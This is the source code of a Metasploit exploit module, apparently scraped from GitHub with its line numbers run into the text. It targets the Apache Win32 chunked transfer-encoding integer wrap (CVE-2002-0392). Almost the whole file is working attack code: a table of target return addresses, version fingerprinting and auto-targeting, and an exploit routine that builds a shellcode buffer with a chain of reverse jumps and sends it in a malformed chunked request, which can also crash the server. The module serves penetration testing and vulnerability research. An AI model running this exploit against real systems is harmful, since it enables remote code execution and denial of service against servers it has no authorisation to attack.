Path: blob/master/modules/exploits/windows/http/apache_chunked.rb
19812 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GoodRanking78HttpFingerprint = { :pattern => [ /Apache/ ] }910include Msf::Exploit::Remote::HttpClient1112def initialize(info = {})13super(14update_info(15info,16'Name' => 'Apache Win32 Chunked Encoding',17'Description' => %q{18This module exploits the chunked transfer integer wrap19vulnerability in Apache version 1.2.x to 1.3.24. This20particular module has been tested with all versions of the21official Win32 build between 1.3.9 and 1.3.24. Additionally,22it should work against most co-branded and bundled versions23of Apache (Oracle 8i, 9i, IBM HTTPD, etc).2425You will need to use the Check() functionality to determine26the exact target version prior to launching the exploit. The27version of Apache bundled with Oracle 8.1.7 will not28automatically restart, so if you use the wrong target value,29the server will crash.30},31'Author' => [ 'hdm', 'jduck' ],32'References' => [33[ 'CVE', '2002-0392' ],34[ 'OSVDB', '838'],35[ 'BID', '5033' ]36],37'Privileged' => true,38'Platform' => 'win',39'Payload' => {40'Space' => 987,41'BadChars' => "\x00\x2b\x26\x3d\x25\x0a\x0d\x20",42'MinNops' => 200,43'Prepend' => "\x81\xc4\xff\xef\xff\xff\x44",4445},46'Targets' => [47[ 'Windows Generic Bruteforce', {} ],4849# Official Apache.org win32 builds50[51'Apache.org Build 1.3.9->1.3.19',52{53'Ret' => 0x00401151,54'Pad' => [6, 2, 0, 4, 1, 3, 5, 7]55}56],57[58'Apache.org Build 1.3.22->1.3.24',59{60'Ret' => 0x00401141,61'Pad' => [2, 6, 0, 4, 1, 3, 5, 7]62}63],64[65'Apache.org Build 1.3.19->1.3.24',66{67'Ret' => 0x6ff6548d,68'Pad' => [2, 6, 0, 4, 1, 3, 5, 7]69}70],71[72'Apache.org Build 1.3.22',73{74'Ret' => 0x6ff762ac,75'Pad' => [2, 6, 0, 4, 1, 3, 5, 7]76}77],7879# Return to Win9xConHook.dll via call ebx80[81'Apache.org Build 1.3.17->1.3.24 (Windows 2000)',82{83'Ret' => 0x1c0f13e5,84'Pad' => [2, 6, 0, 4, 1, 3, 5, 7]85}86],8788# Return to Win9xConHook.dll via call esi89[90'Apache.org Build 1.3.17->1.3.24 (Windows NT)',91{92'Ret' => 0x1c0f1033,93'Pad' => [2, 6, 0, 4, 1, 3, 5, 7]94}95],9697# Interesting return to PEB trick for Windows 2003 systems...98[99'Windows 2003 English SP0',100{101'Ret' => 0x7ffc0638,102'Pad' => [2, 6, 5, 4, 1, 3, 0, 7]103}104],105106# Pop/Pop/Return on Windows 2000107[108'Windows 2000 English',109{110'Ret' => 0x75022ac4,111'Pad' => [2, 6, 5, 4, 1, 3, 0, 7]112}113],114115# Oracle HTTPD: [ 8.1.7 ] (one shot)116# Apache/1.3.12 (Win32) ApacheJServ/1.1 mod_ssl/2.6.4117# OpenSSL/0.9.5a mod_perl/1.24118[119'Oracle 8.1.7 Apache 1.3.12',120{121'Ret' => 0x1d84d42c,122'Pad' => [7]123}124],125126# Oracle HTTPD: [ 9.1.0 ] (multiple shots)127# Apache/1.3.12 (Win32) ApacheJServ/1.1 mod_ssl/2.6.4128# OpenSSL/0.9.5a mod_perl/1.24129[130'Oracle 9.1.0 Apache 1.3.12',131{132'Ret' => 0x10016061,133'Pad' => [5, 6, 0, 4, 1, 3, 2, 7]134}135],136137# Oracle HTTPD: [ 9.2.0 ] (multiple shots)138# Oracle HTTP Server Powered by Apache/1.3.22 (Win32)139# mod_plsql/3.0.9.8.3b mod_ssl/2.8.5 OpenSSL/0.9.6b140# mod_fastcgi/2.2.12 mod_oprocmgr/1.0 mod_perl/1.25141[142'Oracle 9.2.0 Apache 1.3.22',143{144'Ret' => 0x6ff6427a,145'Pad' => [5, 6, 0, 4, 1, 3, 2, 7]146}147],148149# Generic debugging targets150[151'Debugging Target',152{153'Ret' => 0xcafebabe,154'Pad' => [0, 1, 2, 3, 4, 5, 6, 7]155}156]157],158'DisclosureDate' => '2002-06-19',159'DefaultTarget' => 0,160'Notes' => {161'Reliability' => UNKNOWN_RELIABILITY,162'Stability' => UNKNOWN_STABILITY,163'SideEffects' => UNKNOWN_SIDE_EFFECTS164}165)166)167end168169def check170response = send_request_raw({ 'uri' => '/' }, 5)171if response.nil?172vprint_status("No response to request")173return Exploit::CheckCode::Unknown174end175176http_fingerprint({ :response => response }) # Custom Server header matching177178code = Exploit::CheckCode::Appears179180case response['Server']181when "Oracle HTTP Server Powered by Apache/1.3.12 (Win32) ApacheJServ/1.1 mod_ssl/2.6.4 OpenSSL/0.9.5a mod_perl/1.22"182vprint_status("This looks like an Oracle 8.1.7 Apache service (one-shot only)")183when "Oracle HTTP Server Powered by Apache/1.3.12 (Win32) ApacheJServ/1.1 mod_ssl/2.6.4 OpenSSL/0.9.5a mod_perl/1.24"184vprint_status("This looks like an Oracle 9.1.0 Apache service (multiple tries allowed)")185when "Oracle HTTP Server Powered by Apache/1.3.22 (Win32) mod_plsql/3.0.9.8.3b mod_ssl/2.8.5 OpenSSL/0.9.6b mod_fastcgi/2.2.12 mod_oprocmgr/1.0 mod_perl/1.25"186vprint_status("This looks like an Oracle 9.2.0 Apache service (multiple tries allowed)")187when /IBM_HTTP_SERVER\/1\.3\.(19\.[3-9]|2[0-9]\.)/188vprint_status("IBM backported the patch, this system is not vulnerable")189code = Exploit::CheckCode::Safe190when /Apache(-AdvancedExtranetServer)?\/(1\.([0-2]\.[0-9]|3\.([0-9][^0-9]|[0-1][0-9]|2[0-5]))|2\.0.([0-9][^0-9]|[0-2][0-9]|3[0-8]))/191else192code = Exploit::CheckCode::Safe193end194195vprint_status("Server: #{response['Server']}")196197return code198end199200def auto_target201response = send_request_raw({ 'uri' => '/' }, 5)202if response.nil?203print_error("No response to request")204return targets_to_try205end206207http_fingerprint({ :response => response }) # Custom Server header matching / automatic target selection208209targets_to_try = []210server_hdr = response['Server']211print_status("Server: #{server_hdr}")212213case server_hdr214when "Oracle HTTP Server Powered by Apache/1.3.12 (Win32) ApacheJServ/1.1 mod_ssl/2.6.4 OpenSSL/0.9.5a mod_perl/1.22"215targets_to_try.push(targets[9])216217when "Oracle HTTP Server Powered by Apache/1.3.12 (Win32) ApacheJServ/1.1 mod_ssl/2.6.4 OpenSSL/0.9.5a mod_perl/1.24"218targets_to_try.push(targets[10])219220when "Oracle HTTP Server Powered by Apache/1.3.22 (Win32) mod_plsql/3.0.9.8.3b mod_ssl/2.8.5 OpenSSL/0.9.6b mod_fastcgi/2.2.12 mod_oprocmgr/1.0 mod_perl/1.25"221targets_to_try.push(targets[11])222223when /IBM_HTTP_SERVER\/1\.3\.(19\.[3-9]|2[0-9]\.)/224# fall through225226else227# check for apache version ranges228if (server_hdr =~ /Apache\/([^ ]*)/) or (server_hdr =~ /Apache-AdvancedExtranetServer\/([^ ]*)/)229version = $1230231# print_status("Apache version: #{version}")232ver = version.split('.')233if (ver.length == 3)234major = ver[0].to_i235minor = ver[1].to_i236rev = ver[2].to_i237if (major == 1 and minor == 3)238targets_to_try.push(targets[1]) if (rev >= 9 and rev <= 19)239targets_to_try.push(targets[2]) if (rev >= 22 and rev <= 24)240targets_to_try.push(targets[3]) if (rev >= 19 and rev <= 24)241targets_to_try.push(targets[4]) if (rev == 22)242243# Add the remaining targets, regardless of quality...244if (server_hdr =~ /Win32/)245# targets 4, 5, 6, 7246if (rev >= 17 and rev <= 24)247targets_to_try.push(targets[5])248targets_to_try.push(targets[6])249end250targets_to_try.push(targets[7])251targets_to_try.push(targets[8])252end253end254# Version 1.0 - 1.2, Fall through...255end256# ServerTokens setting isn't giving up enough information ... Might need to try?257end258# Not Apache? Fall through...259end260261targets_to_try262end263264#265# If auto, ask the auto_target function for a list of266# targets to try...267#268# If not auto, just try the selected target.269#270def exploit271if target_index == 0272targs = auto_target273print_status("Auto-targeting returned #{targs.length} candidates...")274targs.each_with_index { |targ, idx|275# Never try the debug target automatically :)276next if targ.name =~ /Debug/277278exploit_target(targ)279}280else281exploit_target(target)282end283end284285def exploit_target(target)286target['Pad'].each { |pad|287pattern =288rand_text_alphanumeric(3936) +289payload.encoded +290make_nops(6) + "\xe9" + [-900].pack('V') + "pP" +291rand_text_alphanumeric(pad)292293# Move slightly further back to allow padding changes294pattern +=295"\xeb\xf0\xde\xad" +296[target.ret].pack('V')297298# Create a chain of return addresses and reverse jumps299254.times { |x|300pattern +=301"\xeb\xf6\xbe\xef" +302[target.ret].pack('V')303}304305# Even out the request length based on the padding value306# This is required to reliably hit the return address offset307pattern += rand_text_alphanumeric(8 - pad)308309#310# Regardless of what return we hit, execution jumps backwards to the shellcode:311# _______________ _______________ ___________312# _________ _____________ | ________ | | ______ | | ______313# v | v | v v | | v v | | v v |314# [shellcode] [jmp -949] [pad] [jmp -16] [ret] [jmp -8] [ret] [jmp -8] [ret]315#316317print_status("Trying #{target.name} [ #{"0x%.8x" % target.ret}/#{pad} ]")318319# Build the request320send_request_raw({321'uri' => '/',322'headers' =>323{324'Transfer-Encoding' => "CHUNKED"325},326'data' => "FFFFFFF0 " + pattern,327}, 2)328329# Check the handler330handler331}332end333end334335336